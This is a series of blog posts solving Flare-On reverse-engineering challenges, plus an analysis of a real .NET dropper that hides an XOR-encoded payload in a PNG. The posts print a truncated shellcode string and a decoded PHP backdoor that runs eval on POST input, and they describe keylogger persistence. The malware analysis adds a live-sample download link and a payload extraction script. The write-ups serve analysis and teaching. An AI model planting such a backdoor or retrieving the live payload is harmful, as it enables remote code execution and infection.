Flare-on 2 – Challenge 2

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.

First things first I validated what kind of file I was looking at.

λ file very_succes
very_succes: PE32 executable (console) Intel 80386, for MS Windows

When running the file I entered some test data to see how it looked to a user.

I switched back to Ghidra to do some static analysis on this binary and found the area of code that looked to handle the password comparison. The first check that jumped out to me was the length check that checked to see if the password was 37 characters long.

Then I found the encoding and matching bulk of the code which I have commented below. This block of code uses a combination of XOR and Bit-wise shifting of the characters to encode each character of the input to match it against the encoded password.

It took me a little bit to see that the SCASB instruction at 0x4010c8 is used to set the zero flag to 1 if the encoded value does not match and jump to a failure condition. Otherwise is set to 0 for success and continues the loop.

I ran the binary using x64dbg to walk through and monitor execution manually setting the Zero Flag to check how the algorithm operated. I also identified the location of the encoded key stored in EDI and copied out that data in hex.

AFAAADEB AEAAECA4 BAAFAEAA 8AC0A7B0 BC9ABAA5 A5BAAFB8 9DB8F9AE 9DABB4BC B6B3909A A8

As with the first challenge in this season I crudely implemented the encoder in python and using brute force was able to successfully generate the key.

Decoder code

encoded = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8]

result_key = ""
    
def xchg(s1, s2):
    temp = s1
    s1 = s2
    s2 = temp
    
    return s1, s2

def decoder(text_data):
    global result_key
   
    success_count = 0
    
    bx = 0
    dx = 0
    key_store = 0 # stack
    cl = 37
    eax = 0x1901c7

    for i in text_data:
        dx = bx
        dx = dx & 0x3
        ah = (eax & 0x0000FF00 > 1)
        al = (eax & 0x000000FF)

        dl = (dx & 0x00FF)
        al = (i ^ al)
        dl, cl = xchg(dl, cl)
        ah, cf = ah << cl, ah & 1
        al = al + ah + cf
        ax = al + (ah*0x100)
        dl, cl = xchg(dl, cl)

        dx = 0
        dl = 0
        ax = ax & 0xff
        output = ax
        bx = bx + (ax & 0xff)

        cl = cl - 0x1
        if encoded[cl] != output:
            pass
        else:
            result_key += chr(i)
            success_count += 1
            
    return success_count

test = [65] * 37

for element in range(len(test)):            
    for i in range(0x21,0x7e):
        test[element] = i

        succ_coun = decoder(test)
        if succ_coun < element+1:
            pass
            result_key = ""

        else:
            print (succ_coun, element, chr(i))
            print("Key:", result_key)
            break
            
print (test)
print ("resultkey: \"" + result_key + "\"")
    

Flare-on 2 – Challenge 1

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input

Key encoding and comparison routine

I extracted the encoded key from memory

Encoded Key data

Then I re-implemented the XOR encryption in python and generated the key from the data.

Jupyter notebook key decoder

Which successfully worked!

Successful Key Entry

Flare-on 1 – Challenge 5 – 5get_it

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.

5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the C:\windows\system32 directory as svchost.dll to look like a legitimate DLL file. Next, it executes a function that looks to act as a key logger.

This function sets up a buffer to store keystrokes into them write them out to a file named svchost.log. Looking at the mw_key_press_handler function we see how it handles the key presses.

This function has various handler function for each ASCII value for most upper case letters, lower case letter, number, and some other characters. However not all have handler functions, so I took a closer look at the functions.

Below are three examples of functions, some of the functions would set a global variable to 1 or 0 depending on if another variable was set, and/or call another function that sets a group of global variables to 0. Not all of the functions returned the same letter that was pressed. As shown below “`” returns the number “0”.

Returns same character
Returns different character from input
Calls a function to reset all global vars

Taking a closer look at the global variables that are manipulated I could see a pattern of them being written or read depending on the keypress handler functions.

Went through the listing of functions and created a list of the key presses and the return values and saw what looks like the key.

Memory AddressInput CharOutput Char
DAT_10019460Ll
DAT_10019464`0
DAT_10019468Gg
DAT_1001946cGg
DAT_10019470Ii
DAT_10019474Nn
DAT_10019478Gg
DAT_1001947cDd
DAT_10019480Oo
DAT_10019484Tt
DAT_10019488Uu
DAT_1001948cRr
DAT_10019490Dd
DAT_10019494Oo
DAT_10019498Tt
DAT_1001949ce5
DAT_100194a0Tt
DAT_100194a4Rr
DAT_100194a8O0
DAT_100194acKk
DAT_100194b0Ee
DAT_100194b4`5
DAT_100194b8Aa
DAT_100194bcTt
DAT_100194c0Ff
DAT_100194c4Ll
DAT_100194c8Aa
DAT_100194ccRr
DAT_100194d0Ee
DAT_100194d4Dd
DAT_100194d8Aa
DAT_100194dcSs
DAT_100194e0Hh
DAT_100194e4Oo
DAT_100194e8Nn
DAT_100194ecDd
DAT_100194f0Oo
DAT_100194f4Tt
DAT_100194f8Cc
DAT_100194fcOo

But this table does not include the letter “m” at the end of “com” the handler for “M” has an extra function that it calls.

This function that the handler calls has a large number of local variables and makes Ghidra very sad, but its main function shows a message box with the flag: l0gging.ur.5trok5@flare-on.com

Flare-on 1 – Challenge 4 – Sploitastic

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from Didier Stevens PDF-tools

pdf-parser.py -f APT9001.orig.pdf > apt5.txt

Looking through the content I find a block of Javascript code that looks interesting

After copying it out and some manual de-obfuscation I find a block of what looks to be hex-encoded shellcode. I grabbed a script to decode it into a binary file to run and debug.

from binascii import unhexlify as unhx

#encoded = open('encoded.txt').read() # The shellcode dump
out = open('shellcode.bin', 'wb')

encoded ="%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u-SNIP-%u2454%u5740%ud0ff"

for s in encoded.split('%'):
    if len(s) == 5:
        HI_BYTE = s[3:]
        LO_BYTE = s[1:3]
        out.write(unhx(HI_BYTE))
        out.write(unhx(LO_BYTE))
out.close()

I took the binary code and loaded it in BlobRunner and attached x64dbg to it.

The first instruction sets the carry flag to 1, the following instruction JMPs to end the code if the CF flag is set, the JB instruction needs to be patched to a NOP or the CF set to 0 to keep running the code.

The code can be walked through until it loads the flag into the stack around offsec of +0x3c1 and it shows up in the register of ECX.

However, if you run the code until completion it shows up as junk in the message box that is displayed.

To get the flag to show up in the message box you need to NOP the look starting at +0x3ce before the CALL to EAX.

Now the flag shows up in the message box!

Flare-on 1 – Challenge 3 – Shellolololol

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 3 brings a PE executable file to take a look at.

such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.

I continued to step through the program monitoring and watching the memory region pointed to be ESI.

The shell code (not pictured) is decoded and over written in multiple stages leaving these messages at ESI

Finally revealing the flag

such.5h311010101@flare-on.com

There are more elaborate ways to reveal the flag, the official write up uses IDAPython scripting to manually decode the messages.

Flare-on 1 – Challenge 2 – Javascrap

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In Challenge 2 the zip file extracts a html and png file.

From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the img directory.

The file looks to be a normal PNG file and displays image data when loaded.

At the end of the file, you find some PHP code. I copied out the PHP code and translated it to some python code, it looks to be a decoding routine to generate a payload.

terms=["M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]
order=[59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
do_me=""

for i in range(len(order)):
    do_me+=terms[order[i]]

print (do_me)

This generated payload looks to contain a few base64 encoded strings.

$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

I created the following code to decode the strings

import base64

print('$_ is', base64.b64decode('aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'))
print()
print('$__ is', base64.b64decode('JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7'))

This code extracts some POST payloads that look to be hex and decimal ASCII codes.

$_ is b'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }'

$__ is b'$code=base64_decode($_);eval($code);'

Once more to convert these values to characters we find the flag.

print("_POST = ", end="")
string2=[97, 49, 49, 68, 0x4F, 84, 116, 0x68, 97, 0x74, 0x44, 0x4F, 0x54, 0x6A, 97, 0x76, 0x61, 0x35, 0x63, 0x72, 97, 0x70, 0x41, 84, 0x66, 0x6C, 97, 0x72, 0x65, 0x44, 65, 0x53, 72, 111, 110, 68, 79, 84, 99, 0x6F, 0x6D]

for i in string2:
    print(chr(i), end="")
_POST = a11DOTthatDOTjava5crapATflareDASHonDOTcom

Flare-on 1 – Challenge 1 – Bob Doge

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.

But, when you click DECODE! You get a Bob Doge with an weird text string.

Digging a little deeper to see what type of file we have we find we hace a .NET executable.

$ file Challenge1.exe                                                   
Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

I next loaded the file up in dnSpy and after navigating from the entry point into Form1. I found the following code block.

The function “btnDecode_Click()” looks very interesting, when stepping into it I find what looks to be a decoding algorithm that pulls its content from the Resources. I set a few breakpoints on the code just after the loops.

After running to the breakpoint after the first loop the flag is in clear text in the “text” variable. The next few loops re-encode the flag to return an obscured output shown in the UI.

Decoding Malware Payload encoded in a PNG part 2 – “W.H.O.bat”

This post is a sequel to the post covering the sample “Bank Statement.bat.” I had received this message before the Bank Statement message, but I found the sample in the previous post was less obfuscated and easier to reverse engineer.

In this post, I will cover the different ways that this sample hid the decoding routes and how I was able to gather the data to run the same decoding script I used before to extract the payload from the PNG data within this sample.

Detailed Analysis

The metadata between the two samples is different but still tries to represent this .NET compiled binary is from “Apple Inc.” In this dump below, you see that this sample attempts to represent itself as an iTunes Visualizer.

Architecture:     IMAGE_FILE_MACHINE_I386
Subsystem:        IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 2020-Apr-16 11:34:55
Comments:         iTunes Visualizer Host
CompanyName:      Apple Inc.
FileDescription:  iTunes Visualizer Host
FileVersion:      4.4.3.0
InternalName:     Vi8BESIfUtQA5qX.exe
LegalCopyright:   © 2000-2020 Apple Inc. All rights reserved.
OriginalFilename: Vi8BESIfUtQA5qX.exe
ProductName:      iTunes Visualizer Host
ProductVersion:   4.4.3.0
Assembly Version: 1.4.0.0

Matching compiler(s):
    Microsoft Visual C# v7.0 / Basic .NET
    .NET executable -> Microsoft

As with the previous sample there is an PNG file embedded in the binary. however the images is 20 pixels larger in each dimension.

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
26921         0x6929          PNG image, 300 x 300, 8-bit/color RGBA, non-interlaced
26999         0x6977          Zlib compressed data, compressed
404804        0x62D44         Copyright string: "CopyrightAttribute"

Visually looking at the PNG data, it looks similar to the PNG data from the Bank Account.bat sample. Seeing this, I started to think I may be able to use the same method I used previously to decode the payload. As a first attempt, I ran the script as-is, and as I expected, it didn’t correctly decode the file. I was already assuming at least that this sample would use a different key.

I started to look at the sample in dnSpy to find the key and the decoding methods in this binary. The first thing I noticed is that this .NET file either had more obfuscation or was just obfuscated differently than the previous binary I investigated. I was able to follow the flow from the entry point to where the sample starts a new process. There is not  whole lot else interesting in the code after this point in the method.

Process execution

After running the sample using the dnSpy debugger to decode the arguments of the Process.Start method call; I found that the sample executes “installUtil.exe” a .NET utility with the /u and the path to the location of the sample.

Decoded method call arguments

Pulling up the documentation for installUtil.exe utility I found the following:

"Installutil.exe uses reflection to inspect the specified assemblies and to find all Installer types that have the System.ComponentModel.RunInstallerAttribute attribute set to true. The tool then executes either the Installer.Install or the Installer.Uninstall method on each instance of the Installer type. Installutil.exe performs installation in a transactional manner; that is, if one of the assemblies fails to install, it rolls back the installations of all other assemblies. Uninstall is not transactional."

https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Note: I ran de4dot in between to make life a little easier to parse. It did not note any specific obfuscators.

In short, the /u installUtil.exe option runs the Uninstall method of the binary in the argument, in this case, the sample we are investigating. I searched the sample’s code for “Install” and found the following Uninstall method. This method looks very similar to the method that executed the PNG parsing function on the Bank Account.bat malware. For example, this method has similarly named variables and a similar flow to the PNG decoding method in the other sample.

When attempting to extract the data from the variables and reverse the methods, I found that smethod_0 and other related methods are heavily obfuscated and very hard to analyze statically. I switched to dynamic analysis and executed this sample in dnSpy. I used the following options to run in it using installUtil.exe and set a breakpoint in the Uninstall method.

After running the code, I hit the breakpoint I expected in the Uninstall function. Then I stepped over the “text” and “location” variables having their values assigned, revealing the PNG resources and the password in a similar format to the “Bank Account.bat” sample. Unfortunately, the process crashes when attempting to extract the code that is used to unpack the PNG. This crash is not an issue; I was able to retrieve the data I needed.

Decoded variables in dnSpy

After only changing the extracted PNG file, XOR key, and final PNG pixel data value in the script I created for “Bank Statement.bat” Success, I was able to extract the payload.

The extracted payload looks to be very similar to the Bank Statement.bat payload. They both have the same filename in the metadata “ReZer0V2.exe.” However, some of the metadata is different, indicating they may be different versions of the payload.

Wrap up

My hunch was correct about these samples using the same encoding method for the PNG payload. I still have not reversed the payload yet, but there are some links to other work on this payload in my other post for the Bank Statement.bat sample. I enjoyed working on this sample, the different methods used to hide the decoding routine of the PNG data were a fun challenge.

Sample Download

https://malshare.com/sample.php?action=detail&hash=ad9462489dfac401daf38efb2b5acbbf

IOCs

MD5: ad9462489dfac401daf38efb2b5acbbf
SHA1: ee1b10bf9523d89586f5ba6bf2d44ed0dce5c13a
SHA256: e161ec8af4ae4b055ca4cd2f405c041f643894f403f35bc3cbc25064328682ef

Full Decode Script

import png
import struct

def print_list(thelist, quantity):

	if (quantity == 0):
		quantity = len(thelist)

	#print ("Decimal: ", end="")
	#for i in range(0, quantity):
	#	print (thelist[i], ", ", end="")
	#print ("")
	print ("Hex: ", end="")
	for i in range(0, quantity):
		print (hex(thelist[i]), ", ", end="")
	print ("")
	print ("ASCII: ", end="")
	for i in range(0, quantity):
		print (chr(thelist[i]), ", ", end="")
	print ("")

############

filename = "be8ff-2.bmp"
# 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b
plain_key = "EMe2A6he"
key = bytearray(plain_key.encode("utf-16be"))
print_len = 50
print ("Key: ")
print_list(key, 0)
print ("Key len: ", len(key))

##
#### Load PNG
bmp_full_data = png.Reader(filename=filename).read()
bmp_img_data = list(bmp_full_data[2])

##
#### Reverse Start
data_array = []
output_array = []

print ("")
print ("Loading Image data")
print ("IMG height: ", len(bmp_img_data))
row_count = 0
#print ("Row: ", i, len(bmp_img_data[i]), end='')
while (row_count < len(bmp_img_data[0])-4):
	#print (row_count, " ", end="")
		
	for i in range(0,len(bmp_img_data)):
		# AARRGGBB
		R = bmp_img_data[i][row_count]    # 05
		G = bmp_img_data[i][row_count+1]  # 16
		B = bmp_img_data[i][row_count+2]  # 01
		A = bmp_img_data[i][row_count+3]  # 00

		data_array.append(B) 
		data_array.append(G)
		data_array.append(R)
		data_array.append(A)

	row_count += 4

	#print (".. row loaded")

print ("1st bytes")
print_list(data_array[:4], 4)
first_bytes_value = struct.unpack("<I", bytearray(data_array[0:4]))[0]
decode_data = data_array[4:]

##
#### XOR_DEC Start
key_counter = 0

print ("Data Length: ", len(data_array))

print ("")
print ("Pre XORed data")
print_list(decode_data, 50)

outfile = open ("test-prexor.bin", 'wb')
outfile.write(bytearray(decode_data))
outfile.close()

print ("")
print ("XORing Image data")

# below is either B5 or 00 ^ 112
#lastdata = 0x67
static_xor_val = 0x67
lastdata = decode_data[len(decode_data)-1]
key_modifier = lastdata ^ static_xor_val
#key_modifier = 0xb5 ^ 112  # 0xc5
#key_modifier = 0

print("key: ", lastdata, " len: ", len(decode_data)-1, "found key: ", hex(decode_data[len(decode_data)-1]), " mod key: ", key_modifier)

key_counter = 0

for xor_i in range(0,len(decode_data)):

	key_value = key[key_counter]
	output_array.append(decode_data[xor_i] ^ key_modifier ^ key_value)

	if (key_counter < len(plain_key)-1):
		key_counter += 1
	else:
		key_counter = 0

print ("Final Output")
print_list(output_array, print_len)

outfile = open ("test-postxor.bin", 'wb')
outfile.write(bytearray(output_array))
outfile.close()